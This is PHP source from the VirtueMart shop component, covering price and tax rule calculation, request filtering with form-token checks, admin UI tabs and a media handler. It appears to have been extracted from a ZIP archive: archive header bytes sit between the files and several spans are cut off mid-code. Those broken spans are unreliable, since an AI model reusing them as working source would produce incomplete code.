round($this->roundInternal($this->roundInternal($cOut) - $cIn),$this->_currencyDisplay->_priceConfig['salesPrice'][1]);; } } } } return $discount; } /** * Function to execute the calculation of the gathered rules Ids. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $rules The Ids of the products * @param $price The input price, if no rule is affecting, 0 gets returned * @return int $price the endprice */ function executeCalculation($rules, $baseprice, $relateToBaseAmount=false,$setCartPrices = true) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); $price = $baseprice; $finalprice = $baseprice; if (isset($rulesEffSorted)) { foreach ($rulesEffSorted as $rule) { if(isset($rule['subTotal'])){ $cIn = $rule['subTotal']; //vmdebug('executeCalculation use subTotal of rule '.$rule['subTotal']); } else if ($relateToBaseAmount) { $cIn = $baseprice; } else { $cIn = $price; } $cOut = $this->interpreteMathOp($rule, $cIn); $tmp = $this->roundInternal($this->roundInternal($cOut) - $cIn); if($setCartPrices){ $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $tmp; } //vmdebug('executeCalculation id : '.$rule['virtuemart_calc_id'].' = '.$tmp); //okey, this is a bit flawless logic, but should work if ($relateToBaseAmount) { $finalprice = $finalprice + $tmp; } else { $price = $cOut; } } } //okey done with it if (!$relateToBaseAmount) { $finalprice = $price; } return $finalprice; } /** * Gatheres the rules which affects the product. * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint The entrypoint how it should behave. Valid values should be * Profit (Commission is a profit rule that is shared, maybe we remove shared and make a new entrypoint called profit) * DBTax (Discount for wares, coupons) * Tax * DATax (Discount on money) * Duty * @return $rules The rules that effects the product as Ids */ function gatherEffectingRulesForProductPrice($entrypoint, $id) { $testedRules = array(); if ($id === -1) return $testedRules; //virtuemart_calc_id virtuemart_vendor_id calc_shopper_published calc_vendor_published published shared calc_amount_cond $countries = ''; $states = ''; $shopperGroup = ''; $entrypoint = (string) $entrypoint; if(empty($this->allrules[$this->productVendorId][$entrypoint])){ return $testedRules; } $allRules = $this->allrules[$this->productVendorId][$entrypoint]; //Cant be done with Leftjoin afaik, because both conditions could be arrays. foreach ($allRules as $i => $rule) { if(!empty($id)){ if($rule['virtuemart_calc_id']==$id){ $testedRules[$rule['virtuemart_calc_id']] = $rule; } continue; } if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['for_override'])){ continue; } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'])){ $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['cats'] = $this->_db->loadResultArray(); } $hitsCategory = true; if (isset($this->_cats)) { $hitsCategory = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'], $this->_cats); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'])){ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'] = $this->_db->loadResultArray(); } $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'], $this->_shopperGroupId); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['countries'] = $this->_db->loadResultArray(); } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['states'] = $this->_db->loadResultArray(); } $hitsDeliveryArea = true; if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){ if (!empty($this->_deliveryState)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['states'], $this->_deliveryState); } else { $hitsDeliveryArea = false; } } else if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){ if (!empty($this->_deliveryCountry)){ $hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'], $this->_deliveryCountry); } else { $hitsDeliveryArea = false; } } if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'])){ $q = 'SELECT `virtuemart_manufacturer_id` FROM #__virtuemart_calc_manufacturers WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'] = $this->_db->loadResultArray(); } $hitsManufacturer = true; if (isset($this->_manufacturerId)) { $hitsManufacturer = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'], $this->_manufacturerId); } if ($hitsCategory and $hitsShopper and $hitsDeliveryArea and $hitsManufacturer) { if ($this->_debug) echo '
      Add rule ForProductPrice ' . $rule["virtuemart_calc_id"]; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesProduct',array(&$this,&$testedRules)); } return $testedRules; } /** * Gathers the effecting rules for the calculation of the bill * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $entrypoint * @param $cartVendorId * @return $rules The rules that effects the Bill as Ids */ function gatherEffectingRulesForBill($entrypoint, $cartVendorId=1) { $testedRules = array(); //Test if calculation affects the current entry point //shared rules counting for every vendor seems to be not necessary $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind`="' . $entrypoint . '" AND `published`="1" AND (`virtuemart_vendor_id`="' . $cartVendorId . '" OR `shared`="1" ) AND ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) '; // $shoppergrps . $countries . $states ; $this->_db->setQuery($q); $rules = $this->_db->loadAssocList(); foreach ($rules as $rule) { $q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $countries = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $states = $this->_db->loadResultArray(); $hitsDeliveryArea = true; //vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea $countries and states ',$countries,$states,$q); if (!empty($countries) && empty($states)) { $hitsDeliveryArea = $this->testRulePartEffecting($countries, $this->_deliveryCountry); } else if (!empty($states) ) { $hitsDeliveryArea = $this->testRulePartEffecting($states, $this->_deliveryState); vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea '.(int)$hitsDeliveryArea.' '.$this->_deliveryState,$states); } $q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"'; $this->_db->setQuery($q); $rule['calc_categories'] = $this->_db->loadResultArray(); $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"'; $this->_db->setQuery($q); $shoppergrps = $this->_db->loadResultArray(); $hitsShopper = true; if (isset($this->_shopperGroupId)) { $hitsShopper = $this->testRulePartEffecting($shoppergrps, $this->_shopperGroupId); } if ($hitsDeliveryArea && $hitsShopper) { if ($this->_debug) echo '
      Add Checkout rule ' . $rule["virtuemart_calc_id"] . '
      '; $testedRules[$rule['virtuemart_calc_id']] = $rule; } } //Test rules in plugins if(!empty($testedRules) and count($testedRules)>0){ JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmInGatherEffectRulesBill', array(&$this, &$testedRules)); } return $testedRules; } /** * Calculates the effecting Shipment prices for the calculation * @copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the coupon * @return $rules ids of the coupons */ function calculateShipmentPrice( $cart, $checkAutomaticSelected=true) { $this->_cartData['shipmentName'] = JText::_('COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED'); $this->_cartPrices['shipmentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['shipmentTax'] = 0; $this->_cartPrices['salesPriceShipment'] = 0; $this->_cartPrices['shipment_calc_id'] = 0; // check if there is only one possible shipment method //if (empty($cart->virtuemart_shipmentmethod_id)){ $cart->CheckAutomaticSelectedShipment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_shipmentmethod_id)) return; //} // Handling shipment plugins if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePriceShipment',array( $cart, &$this->_cartPrices, &$this->_cartData['shipmentName'] )); /* * Plugin return true if shipment rate is still valid * false if not any more */ $shipmentValid=0; foreach ($returnValues as $returnValue) { $shipmentValid += $returnValue; } if (!$shipmentValid) { $cart->virtuemart_shipmentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } /** * Calculates the effecting Payment prices for the calculation * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @author Valerie Isaksen * @param $code The Id of the paymentmethod * @param $value amount of the money to transfere * @param $value $cartVendorId * @return $paymentCosts The amount of money the customer has to pay. Calculated in shop currency */ function calculatePaymentPrice($cart, $checkAutomaticSelected=true) { // if (empty($code)) return 0.0; // $code=4; $this->_cartData['paymentName'] = JText::_('COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED'); $this->_cartPrices['paymentValue'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartPrices['paymentTax'] = 0; $this->_cartPrices['paymentTotal'] = 0; $this->_cartPrices['salesPricePayment'] = 0; $this->_cartPrices['payment_calc_id'] = 0; // check if there is only one possible payment method //if (empty($cart->virtuemart_paymentmethod_id)){ $cart->CheckAutomaticSelectedPayment($this->_cartPrices, $checkAutomaticSelected); if (empty($cart->virtuemart_paymentmethod_id)) return; //} if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePricePayment',array( $cart, &$this->_cartPrices, &$this->_cartData['paymentName'] )); /* * Plugin return true if payment plugin is valid * false if not valid anymore * only one value is returned */ $paymentValid=0; foreach ($returnValues as $returnValue) { $paymentValid += $returnValue; } if (!$paymentValid) { $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } return $this->_cartPrices; } function calculateCustomPriceWithTax($price) { $price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $price,true); if(VmConfig::get('cVarswT',1)){ $taxRules = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $vattaxRules = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $rules = array_merge($taxRules,$vattaxRules); if(!empty($rules)){ $price = $this->executeCalculation($rules, $price, true); } $price = $this->roundInternal($price); } return $price; } /** * This function just writes the query for gatherEffectingRulesForProductPrice * When a condition is not set, it is handled like a set condition that affects it. So the users have only to add a value * for the conditions they want to (You dont need to enter a start or end date when the rule should count everytime). * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $data the ids of the rule, for exampel the ids of the categories that affect the rule * @param $field the name of the field in the db, for exampel calc_categories to write a rule that asks for the field calc_categories * @return $q The query */ function writeRulePartEffectingQuery($data, $field, $setAnd=0) { $q = ''; if (!empty($data)) { if ($setAnd) { $q = ' AND ('; } else { $q = ' ('; } foreach ($data as $id) { $q = $q . '`' . $field . '`="' . $id . '" OR'; } $q = $q . '`' . $field . '`="0" )'; } return $q; } /** * This functions interprets the String that is entered in the calc_value_mathop field * The first char is the signum of the function. The more this function can be enhanced * maybe with function that works like operators, the easier it will be to make more complex disount/commission/profit formulas * progressive, nonprogressive and so on. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $mathop String reprasentation of the mathematical operation, valid ('+','-','+%','-%') * @param $value float The value that affects the price * @param $currency int the currency which should be used * @param $price float The price to calculate */ function interpreteMathOp($rule, $price) { $mathop = $rule['calc_value_mathop']; $value = (float)$rule['calc_value']; $currency = $rule['calc_currency']; //$mathop, $value, $price, $currency='') $coreMathOp = array('+','-','+%','-%'); if(!$this->_revert){ $plus = '+'; $minus = '-'; } else { $plus = '-'; $minus = '+'; } if(in_array($mathop,$coreMathOp)){ $sign = substr($mathop, 0, 1); $calculated = false; if (strlen($mathop) == 2) { $cmd = substr($mathop, 1, 2); if ($cmd == '%') { if(!$this->_revert){ $calculated = $price * $value / 100.0; } else { if(!empty($value)){ if($sign == $plus){ $calculated = abs($price /(1 - (100.0 / $value))); } else { $calculated = abs($price /(1 + (100.0 / $value))); } } else { vmdebug('interpreteMathOp $value is empty '.$rule['calc_name']); } // vmdebug('interpreteMathOp $price'.$price.' $value '.$value.' $sign '.$sign.' '.$plus.' $calculated '.$calculated); } } } else if (strlen($mathop) == 1){ $calculated = $this->_currencyDisplay->convertCurrencyTo($currency, $value); } // vmdebug('interpreteMathOp',$price,$calculated,$plus); if($sign == $plus){ return $price + (float)$calculated; } else if($sign == $minus){ return $price - (float)$calculated; } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found'); return $price; } } else { JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); //$calculated = $dispatcher->trigger('interpreteMathOp', array($this, $mathop, $value, $price, $currency,$this->_revert)); $calculated = $dispatcher->trigger('plgVmInterpreteMathOp', array($this, $rule, $price,$this->_revert)); //vmdebug('result of plgVmInterpreteMathOp',$calculated); if($calculated){ foreach($calculated as $calc){ if($calc) return $calc; } } else { VmError('Unrecognised mathop '.$mathop.' in calculation rule found, seems you created this rule with plugin not longer accesible (deactivated, uninstalled?)'); return $price; } } } /** * Standard round function, we round every number with 6 fractionnumbers * We need at least 4 to calculate something like 9.25% => 0.0925 * 2 digits * Should be setable via config (just for the crazy case) */ function roundInternal($value,$name = 0) { if(!$this->_roundindig and $name!==0){ if(isset($this->_currencyDisplay->_priceConfig[$name][1])){ //vmdebug('roundInternal rounding use '.$this->_currencyDisplay->_priceConfig[$name][1].' digits'); return round($value,$this->_currencyDisplay->_priceConfig[$name][1]); } else { vmdebug('roundInternal rounding not found for '.$name,$this->_currencyDisplay->_priceConfig[$name]); return round($value, $this->_internalDigits); } } else { return round($value, $this->_internalDigits); } } /** * Round function for display with 6 fractionnumbers. * For more information please read http://en.wikipedia.org/wiki/Propagation_of_uncertainty * and http://www.php.net/manual/en/language.types.float.php * So in case of € or $ it is rounded in cents * Should be setable via config * @deprecated */ /* function roundDisplay($value) { return round($value, 4); }*/ /** * Can test the tablefields Category, Country, State * If the the data is 0 false is returned */ function testRulePartEffecting($rule, $data) { if (!isset($rule)) return true; if (!isset($data)) return false; if (is_array($rule)) { if (count($rule) == 0) return true; } else { $rule = array($rule); } if (!is_array($data)) $data = array($data); $intersect = array_intersect($rule, $data); if ($intersect) { return true; } else { return false; } } /** Sorts indexed 2D array by a specified sub array key * * Copyright richard at happymango dot me dot uk * @author Max Milbers */ function record_sort($records, $field, $reverse=false) { if (is_array($records)) { $hash = array(); foreach ($records as $record) { if(isset($record[$field])){ $keyToUse = $record[$field]; while (array_key_exists($keyToUse, $hash)) { $keyToUse = $keyToUse + 1; } $hash[$keyToUse] = $record; } } ($reverse) ? krsort($hash) : ksort($hash); $records = array(); foreach ($hash as $record) { $records [] = $record; } } return $records; } /** * Calculate a pricemodification for a variant * * Variant values can be in the following format: * Array ( [Size] => Array ( [XL] => +1 [M] => [S] => -2 ) [Power] => Array ( [strong] => [middle] => [poor] => =24 ) ) * * In the post is the data for the chosen variant, when there is a hit, it gets calculated * * Returns all variant modifications summed up or the highest price set with '=' * * @todo could be slimmed a bit down, using smaller array for variantnames, this could be done by using the parseModifiers method, needs to adjust the post * @author Max Milbers * @param int $virtuemart_product_id the product ID the attribute price should be calculated for * @param array $variantnames the value of the variant * @return array The adjusted price modificator */ public function calculateModificators(&$product, $variants) { $modificatorSum = 0.0; //MarkerVarMods foreach ($variants as $selected => $variant) { if (!empty($selected)) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE field.`virtuemart_customfield_id`=' .(int) $selected; $this->_db->setQuery($query); $productCustomsPrice = $this->_db->loadObject(); //A plugin can have a zero price and create it, so no if(!empty(customprice here if ($productCustomsPrice->field_type =='E') { if(!class_exists('vmCustomPlugin')) require(JPATH_VM_PLUGINS.DS.'vmcustomplugin.php'); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmCalculateCustomVariant',array(&$product, &$productCustomsPrice,$selected,$modificatorSum)); } if (!empty($productCustomsPrice->custom_price)) { vmdebug('calculateModificators davor',$productCustomsPrice->custom_price); $productCustomsPrice->custom_price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $productCustomsPrice->custom_price,true); vmdebug('calculateModificators danach',$productCustomsPrice->custom_price); //TODO adding % and more We should use here $this->interpreteMathOp $modificatorSum = $modificatorSum + $productCustomsPrice->custom_price; } } } return $modificatorSum; } public function parseModifier($name) { $variants = array(); if ($index = strpos($name, '::')) { $virtuemart_product_id = substr($name, 0, $index); $allItems = substr($name, $index + 2); $items = explode(';', $allItems); foreach ($items as $item) { if (!empty($item)) { //vmdebug('parseModifier $item',$item); $index2 = strpos($item, ':'); if($index2!=false){ $selected = substr($item, 0, $index2); $variant = substr($item, $index2 + 1); // echo 'My selected '.$selected; // echo ' My $variant '.$variant.' '; //TODO productCartId //MarkerVarMods $variants[$selected] = $variant; //this works atm not for the cart //$variants[$variant] = $selected; //but then the orders are broken } } } } //vmdebug('parseModifier $variants',$variants); return $variants; } } PKs>\hB<  #com_virtuemart/helpers/vrequest.phpnuW+A); public static function uword($field, $default='', $custom=''){ $source = self::getVar($field,$default); return self::filterUword($source,$custom); } public static function filterUword($source, $custom,$replace=''){ if(function_exists('mb_ereg_replace')){ //$source is string that will be filtered, $custom is string that contains custom characters return mb_ereg_replace('[^\w'.preg_quote($custom).']', $replace, $source); } else { return preg_replace("~[^\w".preg_quote($custom,'~')."]~", $replace, $source); //We use Tilde as separator, and give the preq_quote function the used separator } } public static function getBool($name, $default = 0){ $tmp = self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); if($tmp){ $tmp = true; } else { $tmp = false; } return $tmp; } public static function getInt($name, $default = 0){ return self::get($name, $default, FILTER_SANITIZE_NUMBER_INT); } public static function getFloat($name,$default=0.0){ return self::get($name,$default,FILTER_SANITIZE_NUMBER_FLOAT,FILTER_FLAG_ALLOW_SCIENTIFIC|FILTER_FLAG_ALLOW_FRACTION); } /** * - Strips all characters that has a numerical value <32. * - Strips all html. * * @param $name * @param null $default * @return mixed|null */ public static function getVar($name, $default = null){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW ); } /** * - Strips all characters that has a numerical value <32. * - encodes html * * @param $name * @param string $default * @return mixed|null */ public static function getString($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_SPECIAL_CHARS,FILTER_FLAG_STRIP_LOW); } public static function getHtml($name, $default = ''){ $tmp = self::get($name, $default); return JComponentHelper::filterText($tmp); } /** * Gets a filtered request value * - Strips all characters that has a numerical value <32 and >127. * - strips html * @author Max Milbers * @param $name * @param string $default * @return mixed|null */ public static function getCmd($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } public static function getWord($name, $default = ''){ return self::get($name, $default, FILTER_SANITIZE_STRING,FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH); } /** * Main filter function, called by the others with set Parameters * The standard filter is non restrictiv. * * @author Max Milbers * @param $name * @param null $default * @param int $filter * @param int $flags * @return mixed|null */ public static function get($name, $default = null, $filter = FILTER_UNSAFE_RAW, $flags = FILTER_FLAG_STRIP_LOW){ //vmSetStartTime(); if(!empty($name)){ if(!isset($_REQUEST[$name])) return $default; //if(strpos($name,'[]'!==FALSE)){ if(is_array($_REQUEST[$name])){ return filter_var_array($_REQUEST[$name], $filter ); } else { return filter_var($_REQUEST[$name], $filter, $flags); } } else { vmTrace('empty name in vRequest::get'); return $default; } } /** * Gets the request and filters it directly. It uses the standard php function filter_var_array, * The standard filter allows all chars, also the special ones. But removes dangerous html tags. * * @author Max Milbers * @param array $filter * @return mixed cleaned $_REQUEST */ public static function getRequest( ){ return filter_var_array($_REQUEST, FILTER_SANITIZE_STRING); } public static function getPost( ){ return filter_var_array($_POST, FILTER_SANITIZE_STRING); } public static function getGet( ){ return filter_var_array($_GET, FILTER_SANITIZE_STRING); } public static function getFiles($name){ return filter_var_array($_FILES[$name], FILTER_SANITIZE_STRING); } public static function setVar($name, $value = null){ if(isset($_REQUEST[$name])){ $tmp = $_REQUEST[$name]; $_REQUEST[$name] = $value; return $tmp; } else { $_REQUEST[$name] = $value; return null; } } /** * Checks for a form token in the request. * * @return boolean True if token valid * */ public static function vmCheckToken($redirectMsg=0){ $token = self::getFormToken(); if (!self::uword($token, false)){ if ($rToken = self::uword('token', false)){ if($rToken == $token){ return true; } } $session = JFactory::getSession(); if ($session->isNew()){ // Redirect to login screen. $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php'), vmText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED')); $app->close(); } else { if($redirectMsg===0){ $redirectMsg = 'Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task'); //jexit('Invalid Token, in ' . vRequest::getCmd('options') .' view='.vRequest::getCmd('view'). ' task='.vRequest::getCmd('task')); } else { $redirectMsg = vmText::_($redirectMsg); } // Redirect to login screen. $app = JFactory::getApplication(); $session->close(); $app->redirect(JRoute::_('index.php'), $redirectMsg); $app->close(); return false; } } else { return false; } } public static function getFormToken($fNew = false){ $user = JFactory::getUser(); $session = JFactory::getSession(); if(empty($user->id)) $user->id = 0; $hash = JApplication::getHash($user->id . $session->getToken($fNew)); return $hash; } }PKs>\%e#e#"com_virtuemart/helpers/adminui.phpnuW+AaddStyleSheet($admin.'css/admin_ui.css'); //$document->addStyleSheet($admin.'css/admin_menu.css'); $document->addStyleSheet($admin.'css/admin.styles.css'); $document->addStyleSheet($admin.'css/toolbar_images.css'); $document->addStyleSheet($admin.'css/menu_images.css'); $document->addStyleSheet($front.'css/chosen.css'); $document->addStyleSheet($front.'css/vtip.css'); $document->addStyleSheet($front.'css/jquery.fancybox-1.3.4.css'); $document->addStyleSheet($front.'css/ui/jquery.ui.all.css'); //$document->addStyleSheet($admin.'css/jqtransform.css'); //loading defaut script $document->addScript($front.'js/fancybox/jquery.mousewheel-3.0.4.pack.js'); $document->addScript($front.'js/fancybox/jquery.easing-1.3.pack.js'); $document->addScript($front.'js/fancybox/jquery.fancybox-1.3.4.pack.js'); $document->addScript($admin.'js/jquery.coookie.js'); $document->addScript($front.'js/chosen.jquery.min.js'); $document->addScript($admin.'js/vm2admin.js'); $vm2string = "editImage: 'edit image',select_all_text: '".JText::_('COM_VIRTUEMART_DRDOWN_SELALL')."',select_some_options_text: '".JText::_($selectText)."'" ; $document->addScriptDeclaration ( " // "); ?> '.vmView::getToolbar($vmView).'
      '; ?>
      value array. key = template name, value = Language File contraction * @params $cookieName = choose a cookiename or leave empty if you don't want cookie tabs in this place * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB' */ static public function buildTabs($view, $load_template = array(),$cookieName='') { $cookieName = JRequest::getWord('view','virtuemart').$cookieName; $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="'.$cookieName.'"; '); $html = '
      '; foreach ( $load_template as $tab_content => $tab_title ) { $html .= '
      '; $html .= $view->loadTemplate ( $tab_content ); $html .= '
      '; } $html .= '
      '; echo $html; } /** * Admin UI Tabs Imitation * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design * @param $return = return the start tag or the closing tag - choose 'start' or 'end' * @params $language = pass the language string */ static function imitateTabs($return,$language = '') { if ($return == 'start') { $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="vm-tab"; '); $html = '
      '; echo $html; } if ($return == 'end') { $html = '
      '; echo $html; } } /** * Build an array containing all the menu items. * * @param int $moduleId Id of the module to filter on */ static function _getAdminMenu($moduleId = 0) { $db = JFactory::getDBO (); $menuArr = array (); $filter [] = "jmmod.published='1'"; $filter [] = "item.published='1'"; $filter [] = "jmmod.is_admin='1'"; if (! empty ( $moduleId )) { $filter [] = 'vmmod.module_id=' . ( int ) $moduleId; } $query = 'SELECT `jmmod`.`module_id`, `module_name`, `module_perms`, `id`, `name`, `link`, `depends`, `icon_class`, `view`, `task` FROM `#__virtuemart_modules` AS jmmod LEFT JOIN `#__virtuemart_adminmenuentries` AS item ON `jmmod`.`module_id`=`item`.`module_id` WHERE ' . implode ( ' AND ', $filter ) . ' ORDER BY `jmmod`.`ordering`, `item`.`ordering` '; $db->setQuery ( $query ); $result = $db->loadAssocList (); // echo '
      '.print_r($query,1).'
      '; for($i = 0, $n = count ( $result ); $i < $n; $i ++) { $row = $result [$i]; $menuArr [$row['module_id']] ['title'] = 'COM_VIRTUEMART_' . strtoupper ( $row['module_name'] ) . '_MOD'; $menuArr [$row['module_id']] ['items'] [] = $row ; } return $menuArr; } /** * Display the administrative ribbon menu. * @todo The link should be done better */ static function showAdminMenu() { $document = JFactory::getDocument (); $moduleId = JRequest::getInt ( 'module_id', 0 ); $user = JFactory::getUser(); $menuItems = AdminUIHelper::_getAdminMenu ( $moduleId ); ?>
      PKs>\AA'com_virtuemart/helpers/mediahandler.phpnuW+Atransliterate($str); } if(function_exists('mb_ereg_replace')){ $regex = array('#(\.){2,}#', '#[^\w\.\- ]#', '#^\.#'); return mb_ereg_replace($regex, '', $str); } else { $regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#'); return preg_replace($regex, '', $str); } } } class VmMediaHandler { var $media_attributes = 0; var $setRole = false; var $file_name = ''; var $file_extension = ''; var $virtuemart_media_id = ''; function __construct($id=0){ $this->virtuemart_media_id = $id; $this->theme_url = VmConfig::get('vm_themeurl',0); if(empty($this->theme_url)){ $this->theme_url = JURI::root().'components/com_virtuemart/'; } } /** * The type of the media determines the used path for storing them * * @author Max Milbers * @param string $type type of the media, allowed values product, category, shop, vendor, manufacturer, forSale */ public function getMediaUrlByView($type){ //the problem is here, that we use for autocreatoin the name of the model, here products //But for storing we use the product to build automatically the table out of it (product_medias) $choosed = false; if($type == 'product' || $type == 'products'){ $relUrl = VmConfig::get('media_product_path'); $choosed = true; } else if($type == 'category' || $type == 'categories'){ $relUrl = VmConfig::get('media_category_path'); $choosed = true; } else if($type == 'shop'){ $relUrl = VmConfig::get('media_path'); $choosed = true; } else if($type == 'vendor' || $type == 'vendors'){ $relUrl = VmConfig::get('media_vendor_path'); // $relUrl = 'components/com_virtuemart/assets/images/vendors/'; $choosed = true; } else if($type == 'manufacturer' || $type == 'manufacturers'){ $relUrl = VmConfig::get('media_manufacturer_path'); $choosed = true; } else if($type == 'forSale' || $type== 'file_is_forSale'){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $relUrl = shopFunctions::checkSafePath(); if($relUrl){ $choosed = true; $this->file_is_forSale=1; } } // $this->type = $type; // $this->setRole=false; if($choosed && empty($relUrl)){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ); //Todo add general media_path to config //$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/'; $this->setRole=true; // } else if(!$choosed and empty($relUrl) and $this->file_is_forSale==0){ } else if(!$choosed and empty($relUrl) ){ vmWarn('COM_VIRTUEMART_MEDIA_CHOOSE_TYPE',$this->file_title ); // vmError('Ignore this message, when it appears while the media synchronisation process, else report to http://forum.virtuemart.net/index.php?board=127.0 : cant create media of unknown type, a programmers error, used type ',$type); //$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/typeless/'; $this->setRole=true; } else if(!$choosed and $this->file_is_forSale==1){ $relUrl = ''; $this->setRole=false; } return $relUrl; } /** * This function determines the type of a media and creates it. * When you want to write a child class of the mediahandler, 